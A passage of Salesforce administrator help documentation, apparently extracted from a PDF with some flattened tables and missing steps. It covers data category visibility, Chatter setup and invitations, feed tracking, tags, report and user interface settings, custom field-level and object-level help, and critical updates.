Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
1582
Customize
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
These examples are based on two sample category groups, Products and Geography:
Note: Although category group visiblity settings are available with answers communities (questions) and Salesforce
Knowledge (articles), the examples below apply to articles only. Answers communities support one category group
and one data category per question.
Products Category Group
All Products
Consumer Electronics
-
Cameras
Audio
Printers
Enterprise Electronics
-
Routers
Switches
PEX
Computers
-
Laptops
Desktops
PDAs
All Countries
Americas
-
USA
Canada
Brazil
Asia
-
China
Japan
India
Europe
-
France
United Kingdom
1583
Customize
Poland
CEO
All Countries
All Products
All Countries
All Products
Consumer Engineering
Team
All Countries
Consumer Electronics
Custom
Enterprise Engineering
Team
All Countries
Enterprise Electronics
Custom
Computers Engineering
Team
All Countries
Computers
Custom
All Countries
All Products
Europe, America
All Products
Custom
Director of Corporate
Consumer Support
Europe, America
Custom
Director of Corporate
Enterprise Support
Europe, America
Custom
Asia
All Products
Custom
VP of Engineering
VP of Support
VP of Corporate Support
Outsourced Support
1584
Customize
All countries/Laptop
VISIBLE
VISIBLE
NOT VISIBLE
Canada/Computers
VISIBLE
VISIBLE
NOT VISIBLE
USA/All products
VISIBLE
VISIBLE
NOT VISIBLE
Europe/Switches
NOT VISIBLE
NOT VISIBLE
NOT VISIBLE
Europe/No Categories
VISIBLE
NOT VISIBLE
VISIBLE
User 1: The user's role must be granted visibility in each category that classifies the article, or each category that classifies the
article must be visible by default. In this example, User 1 can see Europe, because Europe is the child of All Countries, but
he cannot see Switches, because Switches does not belong to Computers. That's why User 1 cannot see articles classified with
Europe/Switches.
User 2: When a category is made visible to a role or is made visible by default, its child and parent categories are implicitly
included; therefore, User 2 can see articles categorized with All Countries because it is the parent category of America. He
can also see Articles classified with USA because it is the child of America.
User 3: If a role has no access to the whole category group, he can only see articles that are not categorized in that group. User
3 cannot see the articles categorized with All countries/Laptop because he has no visibility in the category group that includes
Laptop, but he can see articles categorized with Europe/No categories.
See Also:
Managing Data Categories
About Category Group Visibility
Viewing Category Group Visibility on Roles
Editing Role-Based Category Group Visibility
How Category Visibility Differs from Other Salesforce Models
1585
Salesforce Chatter
Setting Up Chatter
SALESFORCE CHATTER
Setting Up Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions
The Chatter user interface, Chatter Invitations, and Chatter Recommendations are not available in Database.com.
Customize Application
See Also:
Using Chatter
Chatter FAQs
1586
Customize
Customize Application
Enable Chatter to turn on Chatter feeds, groups, and profiles so people in your organization can collaborate with each other.
Note: Chatter is enabled by default for organizations created after June 22, 2010.
1.
2.
3.
4.
Click Your Name > Setup > Customize > Chatter > Settings.
Click Edit.
Select Enable. Deselect to disable Chatter.
Click Save.
Enabling Chatter also enables the new user interface theme, which updates the look and feel of Salesforce.
Enabling Chatter also enables global search, which allows searching across Salesforce, including Chatter feeds, files, groups,
and people.
When Chatter is enabled for organizations with 15 or fewer users, all users automatically follow each other.
After enabling Chatter, you can also enable Chatter Mobile for supported mobile devices.
If your organization has Approvals in Chatter enabled, select Allow Approvals to enable users to receive approval
requests as posts in Chatter. Only users with access to the approval record can see the approval request post. Comments
on approval posts aren't persisted to the approval record.
Select Allow Coworker Invitations to let users invite people to join Chatter for your company.
1587
Customize
Important: Starting in June 2011, invitations are automatically turned on for new Salesforce organizations and
the Email Domain is set based on the first user's email address. Invitations aren't turned on if the user's domain
is a free email provider such as yahoo.com or gmail.com.
Invited users can access Chatter people, profiles, groups, and files but cant see record data unless they have a Salesforce
license.
If you deselect Allow Coworker Invitations, users can't accept outstanding invitations. Similarly, if you remove an
email domain, users can't accept outstanding invitations from that domain.
Enter email domains to define who can join Chatter for your organization. Click Add More to add up to 200 domains.
The domains you enter should include those used in email addresses for your company, such as yourcompany.com.
Important: We recommend that you don't enter public email domains such as hotmail.com, yahoo.com, or
gmail.com. If invited, anyone with an email address in these domains can join and see user profiles, feeds, and
Chatter groups.
You can use the Send invitations from your email account link on this page to send Chatter invitations to your coworkers.
If you have a default email client set, an email containing an invitation link opens in your mail program. Otherwise, you
see an invitation link that you can copy and paste into an email.
Select Allow Customer Invitations to allow users who manage or own private Chatter groups that allow customers
to invite customers to those groups. Customers are users outside of your company's email domains. They have very limited
Chatter access and can only see groups they're invited to and interact with members of those groups.
See Also:
Chatter Overview
Setting Up Chatter
Using Chatter
Replying to Chatter Email Notifications
Getting Started With Approvals in Chatter
Chatter FAQs
Customize Application
Enabling Chatter customer invitations allows users who manage or own private Chatter groups that allow customers to invite
customers to those groups. Customers are users outside of your company's email domains. They have very limited Chatter
access and can only see groups they're invited to and interact with members of those groups.
Note: If your organization restricts users from specific domains, people outside of those domains cant be invited as
customers. To allow customers from additional domains, contact salesforce.com.
1588
Customize
Feed Tracking
1. Click Your Name > Setup > Customize > Chatter > Settings.
2. Click Edit.
3. Select Allow Customer Invitations. Deselecting this turns off customer invitations.
Note: Turning off customer invitations won't delete existing customers or groups that allow customers. Additionally,
administrators can still create customer users in Name > Setup > Manage Users > Users.
4. Click Save.
Note: When you invite someone as a customer to your group, they are given a unique username and password to log
in to this group within your organization, even if theyre already a member of another Salesforce organization. They
will not be able to use other Salesforce logins to access your customer group. If a customer has an issue logging in to
the group, verify that they are using the username and password from the welcome email they received after registering
for the group.
If a customer loses their password, they can use the Forgot Password option to reset it. If they dont have their username,
they should contact the administrator of the organization in which theyre a customer to recover it.
See Also:
About Chatter Customers in Private Groups
Feed Tracking
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions
The Account, Case, Contact, Lead, Opportunity and User objects are not available in Database.com.
Customize Application
When you enable objects and fields for feed tracking, people see Chatter feed updates for objects and changes to fields on
records they follow.
Feed tracking is available for objects and fields. You can configure feed tracking for users, Chatter groups, custom objects, and
the following standard objects: accounts, article types, assets, campaigns, cases, contacts, contracts, dashboards, events, leads,
opportunities, products, reports, solutions, and tasks.
Sharing rules and field-level security determine visibility of record changes in Chatter feeds; you must be able to see a record
in order to see changes to that record in feeds.
Consider the following feed tracking tips:
1589
Customize
If leads are tracked, but accounts, contacts, or opportunities are not, users won't be able to follow or see updates related to
the accounts, contacts, and opportunities created during lead conversion.
For person accounts, select the account fields you want to track. You can follow account fields, but not contact fields. For
example, select the Email field on account to see a Chatter post any time someone changes the email on a person account.
Feed tracking for events doesn't include requested meetings. Once a requested meeting is confirmed and becomes an event,
then it can be included in feeds.
While you can follow activities and knowledge articles in a Chatter feed, the Follow button in the Action column for
activity and knowledge article list views is not available.
Tracked feed updates that are older than 45 days and have no likes or comments are removed from the feed automatically.
The tracked feed updates no longer appear in the feed, but the audit history for the tracked objects is still available.
See Also:
Feeds
Using Chatter Feeds
Enabling, Disabling, and Configuring Chatter
Customizing Chatter Feed Tracking
Customize Application
When an administrator enables feed tracking, users see updates for objects and records they follow in their Chatter feed. Many
objects and fields are tracked by default, but administrators can further customize feed tracking to include or exclude specific
objects and fields.
You can configure feed tracking for users, Chatter groups, custom objects, and the following standard objects: accounts, article
types, assets, campaigns, cases, contacts, contracts, dashboards, events, leads, opportunities, products, reports, solutions, and
tasks.
1590
Customize
Setting Up Chat
1. Click Your Name > Setup > Customize > Chatter > Feed Tracking.
2. Select an object.
3. Select Enable Feed Tracking.
You must have the required user permissions to see this checkbox. To restore the default feed tracking settings for an
object, click Restore Defaults.
4. Select up to 20 fields to track. You can't select fields for article types.
5. Click Save.
Setting Up Chat
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Allow people in your organization to chat securely with people they follow in Chatter without using external chat clients.
See Also:
Enabling, Disabling, and Configuring Chatter
Using Chatter Messenger
Enabling and Disabling Chat for Visualforce Pages
Customize Application
1591
Customize
2. Click Edit.
3. Under Chat Settings, select or deselect Enable Chat. Chatter must be enabled to enable chat.
4. Click Save.
See Also:
Setting Up Chat
Enabling, Disabling, and Configuring Chatter
Using Chatter Messenger
Customize Application
Turn off the Salesforce tab header on your page by setting <apex:page showHeader=false>.
Set the page contentType to something other than text/html, for example, <apex:page
contentType="text/plain">.
See Also:
Setting Up Chat
Managing Custom Components
1592
Social Contacts
SOCIAL CONTACTS
Enabling and Configuring Social Accounts and Contacts
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Contacts available in: All Editions except Database.com
Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Enable Social Accounts and Contacts so your users can keep up to date on their accounts', contacts', and leads' social information
without leaving Salesforce. You can also configure the social networks that are available for your organization, if needed.
Note: The Social Accounts and Contacts feature is enabled by default for organizations created after the Spring 12
release. If your organization was created before that, you need to enable the feature yourself.
1.
2.
3.
4.
Click Your Name > Setup > Customize > Social Accounts and Contacts > Settings.
Click Change your organization's Social Accounts and Contacts settings.
Select Enable Social Accounts and Contacts. To disable Social Accounts and Contacts for everyone, deselect this checkbox.
Select the social networks that your organization may use. Deselect any of the services that you want to turn off for your
organization. By default, all social networks are turned on.
5. Click Save.
See Also:
Social Accounts, Contacts, and Leads Overview
1593
Customize
Tags Settings
Tags Settings
Tag settings available in: All Editions
Customize Application
Enabling tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads,
notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members)
Adding tags to the sidebar for their users
Deleting personal tags for deactivated users
See Also:
Using the Tags Sidebar Component
Tagging Records
Enabling Tags
Tag settings available in: All Editions
Customize Application
1. Click Your Name > Setup > Customize > Tags > Tag Settings.
2. Select Enable Personal Tags and Enable Public Tags to allow users to add personal and public tags to records.
Deselect both options to disable tags.
3. Specify which objects and page layouts should display tags in a tag section at the top of record detail pages. The tag section
is the only way that a user can add tags to a record.
For example, if you only select account page layouts, users in your organization can only tag account records. Additionally,
if you only select account page layouts for personal tags and not public tags, users can only tag account records with personal
tags.
4. Click Save.
Use these tips when enabling tags.
1594
Customize
Tags Settings
When you enable tags, you can also add them to a page layout by editing the page layout directly. See Customizing Page
Layouts on page 1278.
Search results and the Tags page don't display custom objects that don't have an associated tab, even if tags are enabled
for the custom object. If you want custom object records to appear in search results or on the Tags page, you must create
an associated tab. The tab doesn't have to be visible to users.
Customer Portal users can't view the tags section of a page, even if it is included in a page layout.
See Also:
Tags Overview
Adding Tags to the Sidebar
Using the Tags Sidebar Component
Tagging Records
Deleting Personal Tags for Deactivated Users
Customize Application
When you enable tags for your organization, you can add the Tags component to your users' sidebar. This component allows
users to navigate to the Tags page where they can browse, search, and manage their tags. It also lists each user's most recently
used tags. To add this component:
1.
2.
3.
4.
Click Your Name > Setup > Customize > Home > Home Page Layouts.
Next to a home page layout that you want to modify, click Edit.
Select the Tags checkbox and click Next.
Arrange the Tags component on your page layout as desired, and click Save.
Tip: If you want the Tags component to appear on all pages and not just the Home tab, click Your Name > Setup
> Customize > User Interface, and select Show Custom Sidebar Components on All Pages.
See Also:
Using the Tags Sidebar Component
1595
Customize Application
Your organization can have a maximum of 5,000,000 personal and public tags applied to records across all users. If your
organization is approaching this limit, you can delete personal tags for deactivated users.
1. Click Your Name > Setup > Customize > Tags > Personal Tag Cleanup.
2. Select one or more deactivated users and click Delete.
You can't restore personal tags after you delete them.
See Also:
Tags Limits
Enabling Tags
Using the Tags Sidebar Component
Tagging Records
Customize Application
Administrators can set up and manage report and dashboard settings from the Reports & Dashboards page. To get to this
page, click Your Name > Setup > Customize > Reports & Dashboards and click the following links to access report and
dashboard settings:
Customize report and dashboard user interface settingsControl features of the report and dashboard user interface,
such as floating report headers, the auto-complete Dashboard Finder, and charting options.
1596
Customize
Customize report and dashboard email settingsControl the way email notifications are sent, including image handling
in dashboard emails for Lotus Notes users and sending reports and dashboard refresh notifications to portal users.
Customize report foldersClick this link to go to the last open report folder. From there, you can edit folder properties,
such as name, access, and sharing.
See Also:
Customizing Report and Dashboard User Interface Settings
Customizing Report and Dashboard Email Settings
Enabling Mobile Dashboards for iPad Users
Customize Application
Report and dashboard user interface settings that you can modify include floating report headers, the dashboard finder, the
report timeout warning, and dashboard component snapshots. You can choose to enable or disable each of these for your
organization..
1. Click Your Name > Setup > Customize > Reports & Dashboards > User Interface Settings.
2. Select or deselect options to modify the settings for your organization.
Enable Floating Report Headers
Floating report headers keep the column headings on tabular reports in sight no matter how far users scroll down
report results. With floating report headers, users can scroll to the bottom of lengthy tabular reports without having
to scroll back to the top to view the names of the column headings. Users can also click floating report headers to
sort data in a specific column. When users sort data by clicking a floating report heading, the report refreshes and
redirects users to the beginning of report results.
Enable Dashboard Finder
Dashboard finder uses auto-complete to help users quickly find dashboards in the Dashboards tab. This option is
enabled by default. To find a dashboard on the Dashboards tab, start typing its name in the search filter, and all
dashboards matching that text are dynamically displayed in the drop-down list. The list first shows dashboards the
user viewed recently, and then other dashboards appear in alphabetical order by folder. The first 1000 results are
shown in a single list; above 1000, results are shown 500 per page. Users only see dashboards in folders they can
access. Disable this option to use the static drop-down list instead.
Enable Report Timeout Warning
The report timeout warning analyzes reports at runtime, identifies those that are highly complex and likely to time
out, and displays a warning. This option is enabled by default. Users with permission to modify reports can edit the
report to improve performance. Users can also run the report in spite of the warning.
1597
Customize
The report timeout warning only analyzes reports run manually from the Run Reports page. It doesnt analyze
scheduled reports, reports run from dashboards, or reports run using background export.
The report timeout warning might occasionally flag reports that dont time out. Additionally, the warning assumes
that your organizations reports will time out after 10 minutes, which is the standard length of time reports can run
before timing out. If your organization has extended the limit to 20 minutes, the reports might be less likely to time
out. Keep in mind that, even if flagged reports run successfully, they remain highly complex, required extended run
times, and could time out in the future. See Tips for Improving Report Performance.
Enable Dashboard Component Snapshots
Dashboard component snapshots let users with access to dashboards post static images of dashboard components to
Chatter user or group feeds, making the snapshot visible to all users. Chatter feed tracking for dashboards must first
be enabled.
Important: This option lets users override dashboard visibility settings, making snapshots visible to all
Chatter users. Though this makes it easy to share time-specific data without having to add people to dashboard
folders, be aware that users can inadvertently post sensitive or confidential information.
3. Click Save.
See Also:
Customizing Report and Dashboard Settings
Enabling Mobile Dashboards for iPad Users
Customize Application
We've released an updated version of report builder, the powerful drag-and-drop editor for reports. With this upgrade:
All profiles get access to the report builder by default. (You may continue to see the Report Builder permission in
permission sets and profiles and the PermissionSet and Profile objects in the API, though the upgrade overrides those
settings.)
The old report wizard will be available only to users in Accessibility Mode.
Group and Professional Edition organizations can use report builder.
You get scatter charts, a new chart type for reports.
Administrators for existing organizations must manually enable this upgrade. New organizations automatically get the latest
version of report builder. If you don't see the Report Builder Upgrade section on the User Interface Settings page, the upgrade
has already been enabled for your organization. Its important to understand that assigning the Report Builder permission
1598
Customize
to all users through profiles or permission sets isnt the same thing as enabling report builder for your entire organization. To
do that, you need to follow the procedure in this topic.
Important: Upgrading does not affect any of your existing reports. However, once you upgrade, you can't return to
the old report wizard.
To enable report builder for all users:
1. Click Your Name > Setup > Customize > Reports & Dashboards > User Interface Settings.
2. Review the Report Builder Upgrade section of the page and click Enable. If you dont see the button, report builder has
already been enabled for your entire organization.
3. Confirm your choice by clicking Yes, Enable Report Builder for All Users.
See Also:
Customizing Report and Dashboard User Interface Settings
Customize Application
1599
Customize
3. Click Save.
See Also:
Customizing Report and Dashboard Settings
Enabling Mobile Dashboards for iPad Users
Customize Application
Search Settings
The search settings are:
Enable Drop-Down List for Sidebar Search
The drop-down list for sidebar search allows you to limit users' searches by object. When you select Enable Drop-Down
List for Sidebar Search, a drop-down list appears in the Search section. From this list users can select to search
within tags, within a specific object, or across all objects.
Enable Limit to Items I Own Search Checkbox
The Limit to Items I Own checkbox allows your users to include only records for which they are the record owner
when entering search queries in the sidebar.
Note: The Limit to Items I Own checkbox that appears in advanced search is always available to users,
regardless of this setting.
1600
Customize
Use Recently Viewed User Records for Blank and Auto-Complete Lookups
If this setting is enabled, the list of records returned from a user auto-complete lookup and from a blank user lookup is
taken from the user's recently viewed user records. This setting applies only to user object lookups and not to lookups
for other objects.
If this setting is not enabled, the dialog shows a list of recently accessed user records from across your organization.
Enable English-Only Spell Correction for Knowledge Search (Beta)
If this setting is enabled, search suggests and searches alternate spellings for English search terms on the Articles and
Article Management tabs, in the articles tool in Case Feed, and in the Salesforce Knowledge sidebar in the Service Cloud
console. This setting applies to article searches via the API but not to article searches in global search.
Enable Sidebar Search Auto-Complete
If this setting is enabled, when users start typing search terms, sidebar search displays a matching list of recently viewed
records.
Note: Global search includes auto-complete and doesn't require a search setting.
Customize Application
1601
Customize
3. Click Save.
1602
Customize
The new user interface theme updates the look and feel of Salesforce and moves user links, such as Setup and Logout,
under the user name for all users in your organization. The new user interface theme is not supported in Portals, Console
tab, or Help & Training.
Only users with supported browsers see the new user interface theme.
Enable Tab Bar Organizer
The Tab Bar Organizer automatically arranges tabs in the main tab bar to prevent horizontal scrolling of the page. It
dynamically determines how many tabs can display based on the width of the browser window and puts tabs that extend
beyond the browser's viewable area into a drop-down list.
Note: Note the following limitations:
The Tab Bar Organizer isnt available with the partner portal or Customer Portal.
The Tab Bar Organizer is only available with the new user interface theme. Organizations using the old user
interface theme can enable the feature, but it won't be available for users until the new theme is also enabled.
The Tab Bar Organizer isnt available on Internet Explorer 6. See Supported Browsers.
1603
Customize
Sidebar Settings
Enable Collapsible Sidebar
The collapsible sidebar gives users the ability to show or hide the sidebar on every page that normally includes the sidebar.
When you select the Enable Collapsible Sidebar setting, the collapsible sidebar becomes available to all users
in your organization, but each user can choose his or her own preference for displaying the sidebar. Users can leave the
sidebar visible at all times, or they can collapse the sidebar and only show it when needed by clicking the edge of the
collapsed sidebar. For more information on using the collapsible sidebar, see About the Sidebar on page 60.
Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times
so you always have access to the Divisions drop-down list.
Calendar Settings
Enable Home Page Hover Links for Events
Select this checkbox to enable hover links in the calendar section of the Home tab. On the Home tab, users can hover
the mouse over the subject of an event to see the details of the event in an interactive overlay. This option is enabled by
default. Note that this checkbox only controls the Home tab; hover links are always available on other calendar views.
The fields available in the event detail and edit overlays are defined in a mini page layout.
Note: If you create all day events, we recommend adding the All Day Event field to the events mini page
layout.
Calendar views might load less quickly when this checkbox is enabled.
Drag-and-drop editing is not available for calendar views in the Console tab.
Drag-and-drop editing is not available for multiday events.
1604
Customize
Note that recurring events and multi-person events are not supported for click-and-create events on calendar views.
Enable Drag-and-Drop Scheduling on List Views
Select this checkbox to enable users to create events associated with records by dragging records from list views on to
weekly calendar views and entering the details of the event in an interactive overlay. This option is disabled by default.
The fields available in the event detail and edit overlays are defined in a mini page layout.
Enable Hover Links for My Tasks List
Select this checkbox to enable hover links for tasks in the My Tasks section of the Home tab and on the calendar day
view. This option is enabled by default. Users can hover the mouse over the subject of a task to see the details of that
task in an interactive overlay.
The information presented on these overlays is configured by your administrator.
Setup Settings
Enable Enhanced Page Layout Editor
Select this checkbox to activate the enhanced page layout editor for your organization. When enabled, the enhanced
page layout editor replaces the current interface for editing page layouts with a feature-rich WYSIWYG editor that
contains all of the functionality of the original page layout editor as well as several improvements.
Enable Enhanced Profile List Views
Select this checkbox to activate enhanced list views and inline editing on the profiles list page. With inline editing in
enhanced profile list views, you can manage multiple profiles at once.
Enable Enhanced Profile User Interface
Select this checkbox to activate the enhanced profile user interface, which allows you to easily navigate, search, and
modify settings for a single profile.
Enable Streaming API
Select this checkbox to activate Streaming API, which allows you to receive notifications for changes to data that match
a SOQL query that you define, in a secure and scalable way. This field is selected by default. If you dont see this checkbox,
first verify that your Salesforce edition has API access. For more information, see Force.com API Usage Limits on page
2161 and Salesforce Editions and Limits on page 2076. If your Salesforce edition has API access and you dont see the
checkbox, contact salesforce.com.
Advanced Settings
Activate Extended Mail Merge
Select this checkbox to activate Extended Mail Merge for your organization. When selected, the Mass Mail Merge link
is available in the Tools area on the home pages for accounts, contacts, and leads. Also, single mail merges requested
from the Activity History related list on a record are performed using Extended Mail Merge functionality. For more
information on using Salesforce to generate personalized form letters and other documents based on templates, see Mail
Merge Overview on page 2810.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in
this feature.
Always save Extended Mail Merge documents to the Documents tab
When this checkbox is selected, all mail merge documents generated using Extended Mail Merge are added to the user's
personal documents folder on the Documents tab, rather than delivered as email attachments. Users are sent confirmation
1605
Custom Help
emails when their mail merge requests have completed. Those emails include links for retrieving generated documents
from the Documents tab. Note that these documents count against your organization's storage limits.
See Also:
Creating Records Using the Create New Drop-Down List
CUSTOM HELP
Custom Help Overview
Available in: All Editions except Database.com
The Help & Training link at the top of every page opens the Salesforce Help & Training window which includes online help
topics, solutions, and recommended training classes. Additionally, the Help for this Page link on any page opens a
context-sensitive online help topic that describes that page.
Salesforce custom help functionality allows you to augment these standard help features with information on using fields and
functionality unique to your organization or the Force.com AppExchange app you are developing.
Custom help allows you to:
Override the standard Salesforce context-sensitive online help topics for your custom objects using object-level help
Add field-level help that displays when users hover their mouse over a field
See Also:
Defining Field-Level Help
Getting Started with Field-Level Help
Defining Object-Level Help
Getting Started with Object-Level Help
Creating Custom Fields
1606
Field-Level Help
FIELD-LEVEL HELP
Getting Started with Field-Level Help
Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can
define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and
edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field.
Before you begin defining field-level help, review these implementation tips and best practices.
Implementation Tips
Best Practices
Because your custom help text displays on both edit and detail pages, avoid instructions for entering data. Instead, construct
help text that defines the field's purpose, such as:
The maximum discount allowed for this account.
Provide information in your help text about the attributes of the field, such as:
A detailed description of the purpose for the expense report. Up to 32 KB of data
are allowed. Only the first 255 characters display in reports.
Provide examples in your help text that help users understand the field's meaning clearly, such as:
The four-digit promotional code used to determine the amount charged to the customer,
for example, 4PLT (for level-four platinum pricing).
If your organization uses more than one language, provide translations for your Help Text using the Translation
Workbench.
See Also:
Custom Help Overview
Defining Field-Level Help
Creating Custom Fields
1607
Object-Level Help
Customize Application
Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can
define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and
edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field.
To define field-level help:
1. Select the field for which you want to define custom help text:
For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
See Also:
Custom Help Overview
Getting Started with Field-Level Help
Creating Custom Fields
OBJECT-LEVEL HELP
Getting Started with Object-Level Help
Object-level help gives you the power to override the Salesforce Help for this Page links for any custom object with your
custom help content contained in a Visualforce page or an s-control. The Help & Training link at the top of any page always
opens the Salesforce Help & Training window, yet every Help for this Page link on your custom object pages opens the
content in the s-control you select. Your users can access this content from the custom object home (overview), detail, and
edit pages as well as any list views and related lists.
Before you begin defining object-level help text for your custom objects, review these implementation tips and best practices.
1608
Customize
Implementation Tips
Object-level help is available for all custom objects in the Salesforce editions that support custom objects.
For maximum functionality and ease of development, use Visualforce pages rather than s-controls.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.
When creating a Visualforce page to use for your object level help, create your page without a controller or with a custom
controller. You cannot use a standard controller or a standard list controller.
When creating an s-control to use for your object-level help, select HTML or URL:
For an HTML s-control, write your help content directly into the s-control body using HTML markup.
For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.
If you have defined object-level help for a custom object that you add to a Force.com AppExchange package, Salesforce
automatically adds the Visualforce page, static resource, or s-control referenced in your Context-Sensitive Help
Settings for that object.
In managed packages, object level help is locked to the developer, giving installers the ability to change it if needed.
Best Practices
The window that displays your object-level help has the same height and width dimensions as the standard Salesforce
Help & Training window. Be sure to size and style your content appropriately to increase usability of your custom help
content.
To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide for
Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages.
Because Visualforce pages or s-controls are the source of your object-level help content, you can use merge fields or other
functions to make the experience more personalized. For example, you can design the custom help to address the user
directly by adding the user's name to the help page when it is displayed.
See Also:
Custom Help Overview
Defining Object-Level Help
Customize Application
Object-level help overrides the Help for this Page links for any custom object with your own custom help content contained
in a Visualforce page or an s-control. To make object-level help available to all your users, simply create a Visualforce page or
1609
Customize
an s-control that contains your help content and edit the custom object definition to reference that Visualforce page or s-control.
Object-level help becomes available to all your users instantly.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
To define object-level help for custom objects:
1. Create a Visualforce page or an s-control of type HTML or URL that contains your help content.
For a Visualforce page, create a Visualforce page that does not use a controller, or that uses a custom controller. Standard
controllers and standard list controllers cannot be used with pages that display object-level help.
For an HTML s-control, write your help content directly into the s-control body using HTML markup.
For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.
2. Edit the custom object definition that should use this custom help when users click the Help for this Page link for these
custom object records.
3. Choose Open a window using a Visualforce page or Open a window using a custom s-control from
the Context-Sensitive Help Setting.
4. Select the Visualforce page or s-control that contains your help content.
5. Click Save.
Tip:
You can use the action attribute on a <apex:page> component to redirect from a Visualforce page to a static
resource. This functionality allows you to add rich, custom help to your Visualforce pages. For example, to redirect a
user to a PDF:
1. Upload the PDF as a static resource named customhelp.
2. Create the following page:
<apex:page sidebar="false" showHeader="false" standardStylesheets="false"
action="{!URLFOR($Resource.customhelp)}">
</apex:page>
Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect
properly.
Tip: To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide
for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages.
See Also:
Custom Help Overview
Getting Started with Object-Level Help
1610
Customize
When you replace the Salesforce online help with your own help file, the Help & Training link still displays Salesforce
online help but the Help for this Page links on all pages other than within Administration Setup are no longer
context-sensitive. That is, your help file will open at the same place regardless of which page the user is viewing when they
click the link.
You can make your help context-sensitive by taking advantage of the context-specific parameters that are passed with each
help link. For example, the help link from the Opportunities tab home page is constructed as follows (without any linebreaks):
http://your_help_file.com?loc=help&body=%2Fhelp%2Fdoc%2Fen%2Fhelp2.jsp
&target=opp_overview.htm§ion=Opportunities
The values of the target and section parameters are unique for every page within the application. You can parse these
parameters to display context-sensitive help content for your users.
If your online help file is compatible with the Web browser on your users' mobile devices, you can contact salesforce.com
to enable a custom URL for the online help in Salesforce Mobile. If you enable a mobile help URL, the Help link in the
mobile application launches the custom help URL instead of the Salesforce Mobile online help. Don't deploy customized
mobile help without testing it thoroughly on all the device models carried by your users. Even if all of your users have the
same type of mobile device, the experience can vary widely depending on which operating system version is installed on
the device.
1611
View Setup
Salesforce.com periodically releases updates that improve the performance, logic, and usability of Salesforce, but may affect
your existing customizations. When these updates become available, Salesforce lists them at Your Name > Setup > Critical
Updates, sends a notification email to administrators, and displays a message when administrators click Your Name > Setup.
To ensure a smooth transition, each update has an opt-in period during which you can manually activate and deactivate the
update an unlimited number of times to evaluate its impact on your organization and modify affected customizations as
necessary. The opt-in period ends on the auto-activation date, at which time Salesforce permanently activates the update.
Caution: Salesforce.com recommends testing each update by activating it in either your Developer Sandbox or your
production environment during off-peak hours.
To manage critical updates, click Your Name > Setup > Critical Updates. From this page, you can:
View the summary, status, and auto-activation date for any update that Salesforce has not permanently activated.
Click Review to view the detail page of any update that Salesforce has not permanently activated. The details include a
list of the customizations in your organization that the update might affect and the activation history, which lists each time
the update was activated and deactivated.
Click Activate to activate any inactive update.
Click Deactivate to deactivate any active update that Salesforce has not permanently activated.
Salesforce analyzes your organization to determine if a critical update potentially affects your customizations. If your
customizations are not affected, Salesforce automatically activates the update in your organization, and the update does
not appear when you click Your Name > Setup > Critical Updates.
On the scheduled auto-activation date, Salesforce permanently activates the update. After auto-activation, you cannot
deactivate the update.
Each update detail page has its own online help topic that contains important information and examples to help you
understand how your customizations might be affected and how you can correct any unintended functionality.
Salesforce displays a message the first time you access the setup menu after a critical update becomes available. The message
lets you choose to have Salesforce display the updates immediately or remind you about the updates later. You can also
1612
choose to have Salesforce neither display the updates nor remind you. If you choose this option, Salesforce will not display
the message again until another new update is available.
See Also:
Winter '10 Critical Updates
View Setup
New Campaign Member Creation BehaviorEnables Salesforce to evaluate triggers, validation rules, and workflow rules
when you create campaign members using:
For more information, see What is the Winter '10 New Campaign Member Creation Behavior Update?
See Also:
Critical Updates Overview
1613
What is the Winter '10 New Campaign Member Creation Behavior Update?
Available in: Professional, Enterprise, Unlimited, and Developer Editions
View Setup
To activate the Winter '10 New Campaign Member Creation Customize Application
Behavior update:
AND
Modify All Data
The Winter '10 New Campaign Member Creation Behavior update enables Salesforce to evaluate triggers, validation rules,
and workflow rules when you create campaign members using:
Additionally, the New Campaign Member Creation Behavior allows you to map import fields to campaign member custom
fields. For example, you can now map Attended? and # Questions Asked fields in an import file to campaign member
custom fields called Attended? and # Questions Asked.
When you activate this update, you have the option to run workflow and map campaign member custom fields when you
create campaign members using the Lead Import Wizard or Campaign Update Wizard. Workflow runs automatically and
default campaign member custom field values are automatically populated for campaign members created using Web-to-Lead
or the Campaign field when you create or clone a lead. For campaign members created using the Lead Import Wizard, you
can now define the Campaign Member Status on a per-row basis.
If you deactivate this update, Salesforce does not evaluate the triggers, validation rules, and workflow rules for campaign
members created using the Lead Import Wizard, Campaign Update Wizard, Web-to-Lead, or the Campaign field when
creating or cloning a lead, and you can't map import fields to campaign member custom fields.
